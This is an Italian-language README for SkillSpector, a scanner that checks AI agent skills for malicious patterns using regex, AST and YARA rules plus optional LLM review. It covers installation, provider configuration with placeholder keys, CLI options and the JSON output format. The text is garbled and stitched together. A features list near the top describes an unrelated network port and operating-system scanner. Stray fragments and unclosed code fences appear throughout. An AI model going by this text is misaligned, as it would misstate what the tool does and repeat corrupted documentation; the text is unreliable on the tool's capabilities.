Se prevedi di eseguire `skillspector mcp`, installa l'extra MCP al momento dell'installazione:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

### Docker (nessuna installazione di Python richiesta)

Esegui SkillSpector senza installare Python compilandolo localmente dal [Dockerfile](https://github.com/nvidia/skillspector/blob/HEAD/Dockerfile) incluso. L'immagine si basa sull'immagine ufficiale Docker Python `3.12-slim-bookworm`.

**Compila l'immagine:**```bash
make docker-build
# or: docker build -t skillspector .

**Scansione con analisi LLM** passando le credenziali tramite un file locale `.env`:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF

## 🛠️ Caratteristiche

- **Scansione completa delle porte**: Scansiona tutte le 65.535 porte TCP per identificare i servizi in esecuzione.
- **Rilevamento del sistema operativo**: Utilizza l'impronta digitale TCP/IP per determinare il sistema operativo del target.
- **Rilevamento della versione del servizio**: Interroga i servizi per determinare le versioni del software.
- **Rilevamento del firewall**: Rileva la presenza di firewall e le loro regole.
- **Output in formato testo semplice**: Genera report in formato testo semplice facili da leggere e analizzare.
- **Supporto per più target**: Scansiona più host o reti contemporaneamente.
- **Opzioni di scansione personalizzabili**: Controlla la velocità di scansione, l'intervallo delle porte e altre impostazioni.
- **Integrazione con altri strumenti**: Si integra perfettamente con altri strumenti di sicurezza per un'analisi completa.
``````bash
docker run --rm \
  -v "$PWD:/scan" \
  --env-file .env \
  skillspector scan ./my-skill/

**Scrivi un report sul filesystem dell'host** scrivendo nella directory montata:```bash
docker run --rm \
  -v "$PWD:/scan" \
  skillspector scan ./my-skill/ --no-llm --format json --output report.json

### Utilizzo di base```bash
# Scan a local skill directory
skillspector scan ./my-skill/

# Scan a single SKILL.md file
skillspector scan ./SKILL.md

# Scan a Git repository
skillspector scan https://github.com/user/my-skill

# Scan a zip file
skillspector scan ./my-skill.zip

### Batch Scanning

Scansiona intere directory di skill in parallelo da `contrib/batch_scan/`:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20

Una baseline può anche utilizzare regole glob tolleranti alla deriva (per ID di regola, percorso file o messaggio) — vedi [`.skillspector-baseline.example.yaml`](https://github.com/nvidia/skillspector/blob/HEAD/.skillspector-baseline.example.yaml).
Le baseline con fingerprint esatti sono vincolate alle prove: modificare la sorgente scansionata o la versione di SkillSpector mantiene il finding attivo finché non viene riesaminato.
Quando una baseline selezionata o l'output di una baseline viene salvato all'interno della directory della skill, SkillSpector esclude quel file specifico dall'analisi dei contenuti, così il suo testo di soppressione non può creare finding né entrare nei fingerprint rigenerati; i file fratelli rimangono nell'ambito di scansione normale.

### Analisi LLM

Per i migliori risultati, configura un endpoint LLM compatibile con OpenAI per l'analisi semantica. Scegli un provider con `SKILLSPECTOR_PROVIDER`; i provider ospitati includono modelli predefiniti in bundle, mentre i provider CLI ricadono sul modello predefinito del runtime locale a meno che non sia impostato `SKILLSPECTOR_MODEL`. SkillSpector funziona anche con server locali compatibili con OpenAI (Ollama, vLLM, llama.cpp) e gateway di inferenza gestiti.

| Provider (`SKILLSPECTOR_PROVIDER`) | Variabile d'ambiente per le credenziali | Endpoint | Modello predefinito |
| ---------- | ---- | ---- | ---- |
| `openai` | `OPENAI_API_KEY` (+ `OPENAI_BASE_URL` opzionale) | api.openai.com (o qualsiasi URL compatibile con OpenAI) | `gpt-5.4` |
| `anthropic` | `ANTHROPIC_API_KEY` | api.anthropic.com | `claude-opus-4-6` |
| `anthropic_proxy` | `ANTHROPIC_PROXY_API_KEY` + `ANTHROPIC_PROXY_ENDPOINT_URL` | Qualsiasi proxy raw-predict in stile Vertex | `claude-sonnet-4-6` |
| `bedrock` | `AWS_PROFILE` (opzionale) + `AWS_REGION` — SigV4 tramite boto3 | AWS Bedrock Runtime | `us.anthropic.claude-sonnet-4-6-20250915-v1:0` |
| `nv_build` | `NVIDIA_INFERENCE_KEY` | build.nvidia.com | `deepseek-ai/deepseek-v4-flash` |
| `claude_cli` | _(nessuna — usa l'autenticazione CLI locale)_ | binario `claude` locale | fallback del runtime Claude locale, o `SKILLSPECTOR_MODEL` |
| `codex_cli` | _(nessuna — usa l'autenticazione CLI locale)_ | binario `codex` locale | fallback del runtime Codex locale, o `SKILLSPECTOR_MODEL` |```bash
# Stock OpenAI
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=sk-...
skillspector scan ./my-skill/

# Anthropic
export SKILLSPECTOR_PROVIDER=anthropic
export ANTHROPIC_API_KEY=sk-ant-...
skillspector scan ./my-skill/

# Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)
export SKILLSPECTOR_PROVIDER=anthropic_proxy
export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict
export ANTHROPIC_PROXY_API_KEY=your-bearer-token
export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/

# AWS Bedrock (Claude via SigV4)
export SKILLSPECTOR_PROVIDER=bedrock
# Optional: select an AWS named profile. When unset, the standard
# boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.
# export AWS_PROFILE=my-profile
export AWS_REGION=us-west-2  # default if unset
# Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0
# Override with any Bedrock model ID, cross-region inference-profile
# ID, or your own application-inference-profile ARN:
# export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0
skillspector scan ./my-skill/

# NVIDIA build.nvidia.com
export SKILLSPECTOR_PROVIDER=nv_build
export NVIDIA_INFERENCE_KEY=nvapi-...
skillspector scan ./my-skill/

# Local Claude CLI — no API key; uses your existing `claude auth login` session
# Requires: claude CLI installed and authenticated (claude auth login)
export SKILLSPECTOR_PROVIDER=claude_cli
# Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.
# export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/

# Local Codex CLI — no API key; uses your existing `codex login` session
# Requires: codex CLI installed and authenticated
export SKILLSPECTOR_PROVIDER=codex_cli
skillspector scan ./my-skill/

# Local Ollama or any OpenAI-compatible endpoint
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=ollama
export OPENAI_BASE_URL=http://localhost:11434/v1
export SKILLSPECTOR_MODEL=llama3.1:8b
skillspector scan ./my-skill/

# Override the provider's default model
export SKILLSPECTOR_MODEL=gpt-5.2
skillspector scan ./my-skill/

# Skip LLM analysis (faster, static analysis only)
skillspector scan ./my-skill/ --no-llm

Il trasporto stdio è il percorso FastMCP attuale per gli agenti CLI locali, e il
blocco di inizializzazione segnalato nell'issue #199 si applica ancora lì.

Il server espone un singolo strumento:

- **`scan_skill(target, use_llm=true, output_format="json")`** — esegue la scansione di un URL Git,
  un URL di file, un file `.zip`, `.md` o una directory e restituisce un verdetto
  strutturato: `risk_score` (0-100), `severity`, `recommendation`,
  `safe_to_install` e `findings`. Segnala inoltre `llm_used` / `scan_mode`
  così un punteggio basso da una scansione solo statica non viene mai scambiato per una scansione completa pulita.

Registralo con Claude Code tramite:```bash
claude mcp add skillspector -- skillspector mcp

    Risk Assessment

    Components (3)

## Configurazione

### Variabili d'ambiente

| Variabile | Descrizione | Obbligatoria |
|----------|-------------|----------|
| `SKILLSPECTOR_PROVIDER` | Provider LLM attivo: `openai`, `anthropic`, `anthropic_proxy`, `bedrock`, `nv_build`, `claude_cli`, `codex_cli` o `gemini_cli`. I provider ospitati usano i valori predefiniti del `model_registry.yaml` incluso; `claude_cli` e `codex_cli` ripiegano sul modello predefinito del runtime CLI locale a meno che non sia impostato `SKILLSPECTOR_MODEL`. Il valore predefinito è `nv_build`. | Opzionale |
| `NVIDIA_INFERENCE_KEY` | Credenziale per il provider `nv_build` (build.nvidia.com). | Obbligatoria per l'analisi LLM quando `SKILLSPECTOR_PROVIDER=nv_build` |
| `OPENAI_API_KEY` | Credenziale per il provider OpenAI (`SKILLSPECTOR_PROVIDER=openai`). Funge anche da fallback di livello 2 nella cascata di credenziali quando il provider attivo non restituisce credenziali. | Obbligatoria per l'analisi LLM quando `SKILLSPECTOR_PROVIDER=openai` |
| `OPENAI_BASE_URL` | Sostituisce l'endpoint OpenAI (ad es. per puntare a Ollama). | Opzionale |
| `SKILLSPECTOR_REASONING_EFFORT` | Impostazione opzionale dello sforzo di ragionamento, dipendente dal provider e dal modello. I valori non vuoti vengono troncati e passati invariati; se non impostati o vuoti, viene preservato il comportamento predefinito del provider. | Opzionale |
| `ANTHROPIC_API_KEY` | Credenziale per il provider Anthropic (`SKILLSPECTOR_PROVIDER=anthropic`). | Obbligatoria per l'analisi LLM quando `SKILLSPECTOR_PROVIDER=anthropic` |
| `ANTHROPIC_BASE_URL` | Sostituisce l'endpoint Anthropic nativo (predefinito: `https://api.anthropic.com`). | Opzionale |
| `ANTHROPIC_PROXY_ENDPOINT_URL` | URL completo dell'endpoint per il provider proxy Anthropic (raw-predict in stile Vertex). | Obbligatoria quando `SKILLSPECTOR_PROVIDER=anthropic_proxy` |
| `ANTHROPIC_PROXY_API_KEY` | Token Bearer per il provider proxy Anthropic. | Obbligatoria quando `SKILLSPECTOR_PROVIDER=anthropic_proxy` |
| `ANTHROPIC_PROXY_API_VERSION` | Valore `anthropic_version` inviato nel corpo della richiesta (predefinito: `vertex-2023-10-16`). | Opzionale |
| `AWS_PROFILE` | Profilo AWS nominato per il provider Bedrock — autentica tramite SigV4 attraverso boto3. Se non impostato, viene risolta la catena di credenziali standard di boto3 (variabili d'ambiente, metadati dell'istanza, SSO, ecc.). | Opzionale (usata quando `SKILLSPECTOR_PROVIDER=bedrock`) |
| `AWS_REGION` | Regione AWS per l'endpoint Bedrock Runtime. Il valore predefinito è `us-west-2`. | Opzionale (usata quando `SKILLSPECTOR_PROVIDER=bedrock`) |
| `SKILLSPECTOR_MODEL` | Sostituisce il modello del provider attivo. Per i provider ospitati, sostituisce il valore predefinito incluso dalla tabella Analisi LLM. Per `claude_cli` e `codex_cli`, viene inoltrato come `--model` invece di usare il fallback del runtime CLI locale. | Opzionale |
| `SKILLSPECTOR_MODEL_REGISTRY` | Sostituisce il registro YAML per provider incluso (`src/skillspector/providers/<provider>/model_registry.yaml`) con un percorso personalizzato. | Opzionale |
| `SKILLSPECTOR_LOG_LEVEL` | Livello di log: `DEBUG`, `INFO`, `WARNING`, `ERROR` (predefinito: `WARNING`). | Opzionale |

> **Provider CLI** (`claude_cli`, `codex_cli`): Non è necessaria alcuna chiave API. L'autenticazione è gestita interamente dalla sessione di login della CLI dell'agente (`claude auth login` / `codex login`). SkillSpector non legge né inoltra mai chiavi API quando questi provider sono attivi. Il sottoprocesso viene eseguito in una sandbox rinforzata: strumenti disabilitati, nessun MCP, modalità sandbox di sola lettura (codex) e il contenuto delle skill non attendibile viene consegnato solo tramite stdin.

### Opzioni CLI```bash
skillspector scan --help

Options:
  -f, --format [terminal|json|markdown|sarif]  Output format [default: terminal]
  -o, --output PATH                            Output file path
  --no-llm                                     Skip LLM analysis (static only)
  --yara-rules-dir PATH                        Extra YARA rules directory
  -b, --baseline PATH                          Suppress findings listed in a baseline
  --show-suppressed                            List baseline-suppressed findings
  -V, --verbose                                Show detailed progress
  --help                                       Show this message and exit

# Generate a baseline of all current findings (see docs/SUPPRESSION.md)
skillspector baseline <path> [-o FILE] [--no-llm] [--reason TEXT]

The top-level shape is (this example shows a full LLM-backed scan; with `--no-llm`, `metadata.llm_requested` is `false`):```json
{
  "skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
  "risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
  "components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
  "issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
  "metadata": {
    "has_executable_scripts": false,
    "skillspector_version": "...",
    "llm_requested": true,
    "llm_available": true,
    "inference_usage": [
      {
        "node": "semantic_security_discovery",
        "request_kind": "structured_output",
        "provider": "nv_inference",
        "model": "azure/anthropic/claude-opus-4-6",
        "model_source": "provider_response",
        "usage_source": "provider_response",
        "prompt_tokens": 1000,
        "completion_tokens": 100,
        "cached_tokens": 400,
        "cache_write_tokens": 50,
        "total_tokens": 1100
      }
    ]
  }
}

## Come Funziona

SkillSpector utilizza una pipeline di rilevamento a due stadi:

### Stadio 1: Analisi Statica
- Corrispondenza rapida basata su regex su 11 analizzatori statici
- Analisi comportamentale basata su AST che rileva chiamate pericolose (exec, eval, subprocess, ecc.)
- Ricerca live delle vulnerabilità tramite OSV.dev per CVE note nelle dipendenze
- Scansione di tutti i file idonei all'analisi nella skill
- Elevata recall (rileva la maggior parte dei problemi)
- Precisione moderata (alcuni falsi positivi)

Una firma OpenSSF Model Signing valida a livello root (`skill.oms.sig`) viene conservata
nell'inventario dei componenti come tipo `oms_signature`, ma esclusa dall'analisi statica e dei contenuti LLM.
I bundle OMS contengono necessariamente campi payload, firma e certificato lunghi codificati in base64;
i controlli generici di codice offuscato potrebbero altrimenti classificare erroneamente tali campi come contenuto eseguibile nascosto.
Il riconoscitore verifica la struttura minima OMS DSSE/in-toto; non verifica la firma,
la catena di certificati, la voce del registro di trasparenza o l'identità del firmatario. I file di firma
non validi o non riconosciuti vengono scansionati normalmente.

### Stadio 2: Analisi Semantica LLM (Opzionale)
- Valuta contesto e intento
- Filtra i falsi positivi
- Fornisce spiegazioni leggibili dall'uomo
- Migliora la precisione a ~87%

Il prompt LLM include protezioni anti-jailbreak per impedire che skill dannose manipolino l'analisi.

## Ricerca Live delle Vulnerabilità (SC4)

SC4 utilizza l'API [OSV.dev](https://osv.dev) per verificare le dipendenze rispetto all'intero database Open Source Vulnerabilities, che copre decine di migliaia di advisory su PyPI e npm.

- **Nessuna chiave API richiesta** — OSV.dev è gratuito e senza autenticazione.
- **Query batch** — tutte le dipendenze vengono verificate in un'unica chiamata HTTP.
- **Fallback automatico** — se OSV.dev non è raggiungibile (air-gapped/offline), viene utilizzata una piccola lista di fallback integrata.
- **Caching** — i risultati vengono memorizzati nella cache in memoria per 1 ora per evitare chiamate API ridondanti durante una sessione.

Lo strumento richiede accesso HTTPS in uscita a `api.osv.dev` per i dati live sulle vulnerabilità. Quando ciò non è disponibile, i risultati sono limitati alla lista di fallback statica.

## Modello di fiducia e trasferimento dati

SkillSpector è difesa in profondità, non una sandbox. Sappi cosa fa e cosa non fa prima di fare affidamento su di esso:

- **Non esegue mai la skill scansionata.** Tutta l'analisi è statica (regex, Python AST, YARA) più una valutazione LLM opzionale dei *contenuti* dei file — il codice della skill non viene mai eseguito.
- **L'analisi LLM invia i contenuti dei file idonei all'analisi al provider configurato.** Quando l'analisi LLM è abilitata (impostazione predefinita), i contenuti dei file vengono inviati all'endpoint `SKILLSPECTOR_PROVIDER` attivo. I file di firma OMS riconosciuti sono esclusi. Usa `--no-llm` per mantenere i contenuti in locale (solo analisi statica).
- **SC4 invia i nomi delle dipendenze a OSV.dev.** Il controllo della supply chain interroga [OSV.dev](https://osv.dev) con i nomi e le versioni dei pacchetti dichiarati dalla skill, per cercare CVE note. Questo è fondamentale per il controllo e viene eseguito anche con `--no-llm`. Invia le coordinate delle dipendenze (non i contenuti dei file), non richiede chiave API e ripiega su una lista inclusa quando OSV.dev non è raggiungibile.
- **Non mette in sandbox l'host.** SkillSpector segnala pattern rischiosi *prima* di installare una skill; non contiene né isola una skill che scegli comunque di installare.

## Limitazioni

- **Contenuti non in inglese**: Potrebbe non rilevare pattern in altre lingue
- **Attacchi basati su immagini**: Non può analizzare testo nelle immagini
- **Codice crittografato/binario**: Non può analizzare contenuti compilati o crittografati
- **Comportamento a runtime**: Solo analisi statica, nessuna esecuzione dinamica
- **SC4 offline**: Senza accesso di rete a `api.osv.dev`, SC4 utilizza una piccola lista di fallback statica

## Contesto di Ricerca

Basato sulla ricerca "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):

- **Dataset**: 42.447 skill dai principali marketplace
- **Vulnerabili**: Il 26,1% contiene almeno una vulnerabilità
- **Gravità elevata**: Il 5,2% mostra probabile intento dannoso
- **Risultato chiave**: Le skill con script eseguibili hanno 2,12 volte più probabilità di essere vulnerabili

## Integrazione API Python```python
from skillspector import graph

# Invoke the LangGraph workflow
result = graph.invoke({
    "input_path": "/path/to/skill",
    "output_format": "json",   # terminal, json, markdown, or sarif
    "use_llm": True,           # False for static-only analysis
})

# Access results
print(f"Risk Score: {result['risk_score']}/100")
print(f"Severity: {result['risk_severity']}")
print(f"Recommendation: {result['risk_recommendation']}")

for finding in result["filtered_findings"]:
    print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")